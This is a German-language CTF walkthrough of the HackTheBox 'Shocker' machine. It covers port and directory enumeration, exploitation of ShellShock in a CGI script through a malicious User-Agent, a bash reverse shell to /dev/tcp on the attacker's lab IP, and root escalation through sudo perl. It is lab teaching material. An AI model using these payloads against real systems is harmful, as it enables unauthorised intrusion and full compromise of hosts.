> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md).

# Shocker HackTheBox-Lösungsbericht

{% embed url="<https://app.hackthebox.com/machines/Shocker>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* ShellShock-Angriff (User-Agent)
* Missbrauch von Sudoers-Rechten (Perl)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/5949949fe556bdac04f7a124068f9ee9b1242db7" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/707961778969c3798c3b485464cfac087750b4e0" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.56 -oG allPorts
```

<figure><img src="/files/e52f7ccbd33e4bc22ca1d29933fb14d39c7b711b" alt="" width="563"><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (80.2222)

<figure><img src="/files/5d2b49b17817f5ff619dc814aaad91e7e41b7f41" alt="" width="563"><figcaption></figcaption></figure>

Versionsscan der Ports mit Nmap:

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80,2222 10.10.10.56 -oN targeted
```

<figure><img src="/files/c4e71a4e4de15750e1914a2afbc6eb75fe5f9a6f" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="/files/762352e002444a5d15d40786ae19b8f240e5795c" alt=""><figcaption></figcaption></figure>

#### Aufzählung von Verzeichnissen

Wir verwenden **WFuzz** um zugängliche Verzeichnisse zu identifizieren:

```bash
wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.56/FUZZ/ | grep -v "#"
```

<figure><img src="/files/c929b5c5d2aba9eab630ec1b3ec4d786b1e8aa77" alt=""><figcaption></figcaption></figure>

Dies enthüllt das **cgi-bin** Verzeichnis, das oft mit ausnutzbaren Skripten in Verbindung gebracht wird.

## ShellShock-Schwachstelle

#### Suche nach ausnutzbaren Dateien

Wir filtern nach Dateien mit Erweiterungen wie `.sh`, `.pl`oder `.cgi`:

```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
```

Das **user.sh** Datei identifiziert. Dieses Skript scheint dynamisch zu sein und könnte verwundbar sein.

<figure><img src="/files/5c84d746f46522fa74881fcca937c31d93840e28" alt=""><figcaption></figcaption></figure>

#### Erkennung der Schwachstelle

Wir verwenden das folgende Nmap-Skript, um die Schwachstelle zu testen:

```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56
```

Der Scan bestätigt, dass die **user.sh** Datei anfällig für ShellShock ist.

<figure><img src="/files/de7e82317e310f38e8178df859610ce8891356d7" alt=""><figcaption></figcaption></figure>

#### Befehlsausführung

Um die Befehlsausführung zu testen, verwenden wir **curl** mit einem bösartigen User-Agent:

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /usr/bin/whoami"
```

Dies gibt den aktuellen Benutzernamen zurück.

<figure><img src="/files/5b169df4d0366a0e73853fd56ada2975692804d6" alt=""><figcaption></figcaption></figure>

#### Reverse Shell

Um eine Reverse Shell zu erhalten:

1. Auf Port 443 lauschen:

```bash
nc -nlvp 443
```

2. Injiziere die folgende Nutzlast:

{% code overflow="wrap" %}

```bash
-H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

{% endcode %}

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

<div data-full-width="true"><figure><img src="/files/97b7ed5ecffbf5efe6adaa7ead02db9056d55e65" alt=""><figcaption></figcaption></figure></div>

### Flagge user.txt :)

<figure><img src="/files/a10fc18239e77c2f3660d9281f000a2071effeb0" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

### Sudoers - Perl

Bei der Analyse **Sudoers** Rechten stellen wir fest, dass der Benutzer die Berechtigung hat, `perl` als **root**. Dies kann mit dem folgenden Befehl überprüft werden:

```bash
sudo -l 
```

<figure><img src="/files/1206217b2a0f5d8cb7cb90ebfe180e76cf41fa72" alt=""><figcaption></figcaption></figure>

#### Ausnutzung

Um diese Konfiguration auszunutzen und eine Shell mit Root-Rechten zu erhalten, injiziere einfach den folgenden Befehl:

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#sudo>" %}

```bash
sudo /usr/bin/perl -e 'exec "/bin/sh";'
```

<figure><img src="/files/7253d5edb98dd1411dec7e76df0c9e414a5b238e" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/42fc58ad3128dce9d414c5e7a6355153efefc4de" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/74b59e62be78d6d5202a4a8d373f5e09e1d3b4ba" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
